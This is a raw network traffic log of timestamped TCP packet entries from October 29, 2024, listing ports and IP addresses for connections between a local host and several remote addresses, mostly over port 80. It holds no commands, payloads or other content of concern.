Oct 29, 2024 06:59:39.195899963 CET	443	49926	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.196434021 CET	49926	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.196439981 CET	443	49926	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.205514908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205538034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205570936 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205589056 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205595016 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205612898 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205624104 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205634117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205651999 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205651999 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205673933 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205674887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205697060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205704927 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205708981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205720901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205734015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205744028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205746889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205760002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205784082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205826044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205847979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205859900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205869913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205883026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205888033 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205894947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205900908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205905914 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205916882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205923080 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205929995 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.205952883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.205976963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206331015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206379890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206402063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206413031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206440926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206448078 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206453085 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206465006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206475973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206500053 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206525087 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206536055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206547976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206558943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206573963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206588984 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206589937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206599951 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206612110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206614017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206624031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206633091 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206648111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206657887 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206712008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206724882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206736088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206747055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206751108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206758976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206760883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206770897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206794024 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206816912 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206829071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206840992 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206851959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206862926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206866980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206875086 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206883907 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206886053 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206898928 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206909895 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206911087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206929922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206953049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.206981897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.206994057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207004070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207015991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207021952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207034111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207045078 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207046032 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207057953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207068920 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207077026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207081079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207088947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207101107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207109928 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207113028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207125902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207138062 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207154989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207179070 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207206011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207217932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207228899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207241058 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207241058 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207252979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207258940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207263947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207278967 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207278967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207298040 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207305908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207310915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207321882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207335949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207350016 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207354069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207365990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207370043 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207377911 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207387924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207396984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207397938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207405090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207415104 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207420111 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207426071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207442999 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207443953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207462072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207469940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207474947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207487106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207492113 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207501888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207510948 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207514048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207525015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207528114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207544088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207556963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207571030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207585096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207587004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207607031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207607985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207617998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207626104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207631111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207643032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207642078 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207654953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207658052 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207665920 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207676888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207680941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207686901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207700014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207705975 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207710981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207721949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207726002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207732916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207740068 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207745075 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207770109 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207784891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207798004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207808971 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207818985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207819939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207832098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207843065 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207848072 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207875013 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207878113 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207889080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207901001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207912922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207914114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207938910 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207962036 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.207964897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207977057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207988024 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.207999945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208014965 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208018064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208030939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208038092 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208043098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208053112 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208084106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208096027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208107948 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208122969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208128929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208141088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208149910 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208152056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208164930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208168030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208177090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208182096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208188057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208208084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208210945 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208220005 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208235025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208235025 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208246946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208259106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208261967 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208270073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208281994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208287954 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208292961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208303928 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208308935 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208323002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208343029 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208348989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208354950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208365917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208378077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208379030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208389997 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208401918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208406925 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208431959 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208445072 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208460093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208471060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208482027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208492994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208494902 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208504915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208513021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208519936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208532095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208542109 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208576918 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208646059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208657980 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208668947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208693027 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208708048 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208712101 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208723068 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208734035 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208746910 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208770037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208784103 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208812952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208826065 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208837986 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208851099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208869934 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208883047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208904982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208918095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208928108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208937883 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208952904 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208956003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208967924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208978891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208980083 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.208991051 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.208993912 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209002972 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209023952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209032059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209043026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209050894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209053040 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209074974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209099054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209403992 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209415913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209428072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209445000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209445953 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209470034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209475040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209501982 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209505081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209517002 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209522009 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209544897 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209561110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209702969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209721088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.209747076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.209758997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.253014088 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.253415108 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.253427982 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.254585028 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.255012035 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.255196095 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.255675077 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.255913019 CET	443	49927	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.256947041 CET	49927	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.256963015 CET	443	49927	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.258004904 CET	49927	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.258009911 CET	443	49927	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.280056000 CET	443	49929	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.281785965 CET	49929	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.281833887 CET	443	49929	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.282041073 CET	443	49928	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.282438040 CET	49928	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.282464981 CET	443	49928	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.282584906 CET	49929	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.282598972 CET	443	49929	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.282896996 CET	49928	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.282911062 CET	443	49928	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.299355030 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.321942091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.321959972 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.321995974 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322005987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322006941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322024107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322035074 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322046995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322083950 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322086096 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322098017 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322123051 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322135925 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322144985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322220087 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322230101 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322263002 CET	49888	80	192.168.2.5	185.215.113.206
